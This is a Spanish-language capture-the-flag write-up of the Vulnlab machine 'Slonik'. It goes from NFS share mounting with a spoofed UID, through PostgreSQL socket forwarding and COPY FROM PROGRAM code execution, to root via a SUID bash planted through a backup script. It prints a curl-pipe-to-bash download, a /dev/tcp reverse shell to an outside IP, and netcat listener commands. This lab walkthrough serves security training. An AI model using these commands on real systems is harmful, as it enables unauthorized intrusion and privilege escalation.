Slonik – Writeup (Vulnlab)

#image_title

Content

Comenzamos el reconocimiento de servicios y puertos a través de NMAP

Bash
PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 2d:8d:0a:43:a7:58:20:73:6b:8c:fc:b0:d1:2f:45:07 (ECDSA)
|_  256 82:fb:90:b0:eb:ac:20:a2:53:5e:3c:7c:d3:3c:34:79 (ED25519)
111/tcp   open  rpcbind  2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      43504/udp6  mountd
|   100005  1,2,3      47327/tcp   mountd
|   100005  1,2,3      50322/udp   mountd
|_  100005  1,2,3      50865/tcp6  mountd

2049/tcp  open  nfs      3-4 (RPC #100003)
32815/tcp open  status   1 (RPC #100024)
42617/tcp open  nlockmgr 1-4 (RPC #100021)
47327/tcp open  mountd   1-3 (RPC #100005)
56263/tcp open  mountd   1-3 (RPC #100005)
58429/tcp open  mountd   1-3 (RPC #100005)

Service Info: OS: Linux

El puerto 2049 sabemos que es utilizado por el servicio de Network File System (NFS).
NFS es un protocolo de sistema de archivos distribuido que permite a los usuarios acceder y
compartir archivos entre sistemas en una red..
Se puede usar el comando showmount para obtener info de la lista de recursos:

Bash
showmount -e 10.10.127.69


Observo 2 carpetas compartidas. /var/backups y /home, lo que procedo a montarlas:

Bash
sudo mount -t nfs 10.10.121.184: . -o nolock


Una vez montadas trato de enumerar y noto que para acceder a /home/service/ no tengo los
permisos suficientes, veo que puede hacerlo el usuario 1337, ya que es el owner, por ende
procedo a crearlo localmente y le asigno el mismo UID.

Bash
sudo useradd -u 1337 1337 --badname
sudo passwd 1337
su 1337


Una vez soy 1337 voy a poder acceder a la carpeta service.


Hay algunos archivos interesantes para analizar y que dan algunas pistas por donde encarar la situación.
El archivo .bash_history luce del siguiente modo:


El archivo .psql_history:

Se destaca el user service y un hash aaabf0d39951f3e6c3e8a7911df524c2
Las cuales si lo verificamos en crackstation podemos ver que el hash pertenece a la contraseña
service“.


Al intentar loguear via SSH con las credenciales válidas el sistema automáticamente nos cierra la
conexión.


Luego de un rato de seguir enumerando, chequeo la info que me dan del user al principio de la máquina


Y luego de un poco de Google, recuerdo que el .bash_history nos mostraba la linea siguiente:

Bash
file /var/run/postgresql/.s.PGSQL.5432


Ese path en específico es un archivo de socket Unix que se utiliza para la comunicación entre procesos
del sistema. En este caso específico para la comunicación entre aplicaciones y el servidor de la base de datos PostgreSQL.

Teniendo esto mas claro, procedo a crear un PortForwarding con SSH pasandole las credenciales que
tenemos y seteando correctamente el socket remoto para conectarnos con el cliente postgress.

Bash
ssh -N -L /tmp/.s.PGSQL.5433:/var/run/postgresql/.s.PGSQL.5432 [email protected]



Y luego conectamos con Postgress:

Bash
psql -h /tmp -U postgres -p 5433



Con \list puedo listar todas las base de datos:


Luego de verificar las base de datos, veo que lo único que obtengo son el hash del user service que ya
tenemos, entonces me pongo a investigar si es posible que creemos una revshell como postgres user.
Verifico que tengo Command Execution y realizó lo siguiente para obtener una revshell:

#!/bin/bash
bash -i >& /dev/tcp/10.8.0.147/443 0>&1

Bash
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'curl http://10.8.0.147/s | bash';
SELECT * FROM cmd_exec;



Finalmente con un netcat a la escucha en el puerto 443 para obtener revshell:

Bash
sudo rlwrap nc -lnvvp 443



Una vez tengo revshell y luego de enumerar un poco, me creo una conexión mas estable con SSH y
mantengo persistencia.



Procedo a subir el PSPY a /tmp y luego lo ejecuto.


Veo que ejecuta un archivo en /usr/bin/backup y lo hace como UID=0 (root). Verificando el código observo lo siguiente:

/USR/BIN/BACKUP

Bash
#!/bin/bash

date=$(/usr/bin/date +"%FT%H%M")
/usr/bin/rm -rf /opt/backups/current/*
/usr/bin/pg_basebackup -h /var/run/postgresql -U postgres -D /opt/backups/current/
/usr/bin/zip -r "/var/backups/archive-$date.zip" /opt/backups/current/

count=$(/usr/bin/find "/var/backups/" -maxdepth 1 -type f -o -type d | /usr/bin/wc -l)
if [ "$count" -gt 10 ]; then
  /usr/bin/rm -rf /var/backups/*
fi


Lo interesante de este script es que todo lo que creemos dentro de este path /var/lib/postgresql/14/main se hará backup en /opt/backups/current/ y será realizado por ROOT


Bash
cp /bin/bash pwn
chmod u+s pwn


Si ahora voy a /opt/backups/current vemos que lo backupea como ROOT:


Ahora solo resta Rootear 😀

Bash
./pwn -p


Y así finalizamos con esta máquina de Vulnlab. Muchas gracias por tomarte el tiempo de leer!.

Share this :

Leave a Reply

Your email address will not be published. Required fields are marked *

More!..